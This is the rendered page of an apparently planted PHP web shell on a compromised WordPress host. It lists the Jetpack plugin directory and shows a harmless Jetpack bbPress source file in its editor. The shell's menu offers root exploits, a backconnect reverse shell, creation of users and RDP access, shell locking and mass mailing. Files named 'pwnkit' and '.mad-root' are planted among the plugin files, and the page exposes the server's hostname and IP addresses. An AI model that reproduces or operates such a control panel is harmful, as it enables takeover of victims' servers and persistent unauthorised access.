Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.103.20.6 | : 216.73.216.183
Cant Read [ /etc/named.conf ]
5.4.45
formahte
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
formahte /
www /
wp-content /
plugins /
jetpack /
[ HOME SHELL ]
Name
Size
Permission
Action
3rd-party
[ DIR ]
drwxr-xr-x
_inc
[ DIR ]
drwxr-xr-x
bin
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
json-endpoints
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
sal
[ DIR ]
drwxr-xr-x
scss
[ DIR ]
drwxr-xr-x
sync
[ DIR ]
drwxr-xr-x
views
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
.svnignore
151
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
changelog.txt
120.31
KB
-rw-r--r--
class.frame-nonce-preview.php
2.18
KB
-rw-r--r--
class.jetpack-admin.php
8.26
KB
-rw-r--r--
class.jetpack-autoupdate.php
6.79
KB
-rw-r--r--
class.jetpack-bbpress-json-api...
2.94
KB
-rw-r--r--
class.jetpack-cli-call.php
25.22
KB
-rw-r--r--
class.jetpack-cli.php
20.53
KB
-rw-r--r--
class.jetpack-client-server.ph...
8.31
KB
-rw-r--r--
class.jetpack-client.php
10.3
KB
-rw-r--r--
class.jetpack-connection-banne...
24.73
KB
-rw-r--r--
class.jetpack-constants.php
2.35
KB
-rw-r--r--
class.jetpack-data.php
4.37
KB
-rw-r--r--
class.jetpack-debugger.php
19.68
KB
-rw-r--r--
class.jetpack-error.php
47
B
-rw-r--r--
class.jetpack-heartbeat.php
4.51
KB
-rw-r--r--
class.jetpack-idc.php
19.76
KB
-rw-r--r--
class.jetpack-ixr-client.php
3.2
KB
-rw-r--r--
class.jetpack-jitm.php
17.71
KB
-rw-r--r--
class.jetpack-modules-list-tab...
11.12
KB
-rw-r--r--
class.jetpack-network-first.ph...
546
B
-rw-r--r--
class.jetpack-network-sites-li...
4.26
KB
-rw-r--r--
class.jetpack-network.php
22.98
KB
-rw-r--r--
class.jetpack-options.php
10.72
KB
-rw-r--r--
class.jetpack-post-images.php
17.62
KB
-rw-r--r--
class.jetpack-signature.php
8.29
KB
-rw-r--r--
class.jetpack-tracks.php
2.87
KB
-rw-r--r--
class.jetpack-twitter-cards.ph...
8.84
KB
-rw-r--r--
class.jetpack-user-agent.php
45.94
KB
-rw-r--r--
class.jetpack-xmlrpc-server.ph...
16.02
KB
-rw-r--r--
class.jetpack.php
205.39
KB
-rw-r--r--
class.json-api-endpoints.php
60.81
KB
-rw-r--r--
class.json-api.php
19.27
KB
-rw-r--r--
class.photon.php
33.33
KB
-rw-r--r--
composer.json
345
B
-rw-r--r--
functions.compat.php
2.38
KB
-rw-r--r--
functions.gallery.php
2.26
KB
-rw-r--r--
functions.global.php
260
B
-rw-r--r--
functions.opengraph.php
15.48
KB
-rw-r--r--
functions.photon.php
8.49
KB
-rw-r--r--
jetpack.php
5.72
KB
-rw-r--r--
json-api-config.php
255
B
-rw-r--r--
json-endpoints.php
132.2
KB
-rw-r--r--
locales.php
59.55
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
readme.txt
15.87
KB
-rw-r--r--
require-lib.php
982
B
-rw-r--r--
rest-api.md
6.14
KB
-rw-r--r--
uninstall.php
830
B
-rw-r--r--
webpack.config.js
3.13
KB
-rw-r--r--
wpml-config.xml
213
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.jetpack-bbpress-json-api-compat.php
<?php /** * bbPress & Jetpack REST API Compatibility * Enables bbPress to work with the Jetpack REST API */ class bbPress_Jetpack_REST_API { private static $instance; public static function instance() { if ( isset( self::$instance ) ) return self::$instance; self::$instance = new self; } private function __construct() { add_filter( 'rest_api_allowed_post_types', array( $this, 'allow_bbpress_post_types' ) ); add_filter( 'bbp_map_meta_caps', array( $this, 'adjust_meta_caps' ), 10, 4 ); add_filter( 'rest_api_allowed_public_metadata', array( $this, 'allow_bbpress_public_metadata' ) ); } function allow_bbpress_post_types( $allowed_post_types ) { $allowed_post_types[] = 'forum'; $allowed_post_types[] = 'topic'; $allowed_post_types[] = 'reply'; return $allowed_post_types; } function allow_bbpress_public_metadata( $allowed_meta_keys ) { $allowed_meta_keys[] = '_bbp_forum_id'; $allowed_meta_keys[] = '_bbp_topic_id'; $allowed_meta_keys[] = '_bbp_status'; $allowed_meta_keys[] = '_bbp_forum_type'; $allowed_meta_keys[] = '_bbp_forum_subforum_count'; $allowed_meta_keys[] = '_bbp_reply_count'; $allowed_meta_keys[] = '_bbp_total_reply_count'; $allowed_meta_keys[] = '_bbp_topic_count'; $allowed_meta_keys[] = '_bbp_total_topic_count'; $allowed_meta_keys[] = '_bbp_topic_count_hidden'; $allowed_meta_keys[] = '_bbp_last_topic_id'; $allowed_meta_keys[] = '_bbp_last_reply_id'; $allowed_meta_keys[] = '_bbp_last_active_time'; $allowed_meta_keys[] = '_bbp_last_active_id'; $allowed_meta_keys[] = '_bbp_sticky_topics'; $allowed_meta_keys[] = '_bbp_voice_count'; $allowed_meta_keys[] = '_bbp_reply_count_hidden'; $allowed_meta_keys[] = '_bbp_anonymous_reply_count'; return $allowed_meta_keys; } function adjust_meta_caps( $caps, $cap, $user_id, $args ) { // only run for REST API requests if ( ! defined( 'REST_API_REQUEST' ) || ! REST_API_REQUEST ) return $caps; // only modify caps for meta caps and for bbPress meta keys if ( ! in_array( $cap, array( 'edit_post_meta', 'delete_post_meta', 'add_post_meta' ) ) || empty( $args[1] ) || false === strpos( $args[1], '_bbp_' ) ) return $caps; // $args[0] could be a post ID or a post_type string if ( is_int( $args[0] ) ) { $_post = get_post( $args[0] ); if ( ! empty( $_post ) ) { $post_type = get_post_type_object( $_post->post_type ); } } elseif ( is_string( $args[0] ) ) { $post_type = get_post_type_object( $args[0] ); } // no post type found, bail if ( empty( $post_type ) ) return $caps; // reset the needed caps $caps = array(); // Add 'do_not_allow' cap if user is spam or deleted if ( bbp_is_user_inactive( $user_id ) ) { $caps[] = 'do_not_allow'; // Moderators can always edit meta } elseif ( user_can( $user_id, 'moderate' ) ) { $caps[] = 'moderate'; // Unknown so map to edit_posts } else { $caps[] = $post_type->cap->edit_posts; } return $caps; } } bbPress_Jetpack_REST_API::instance();
Close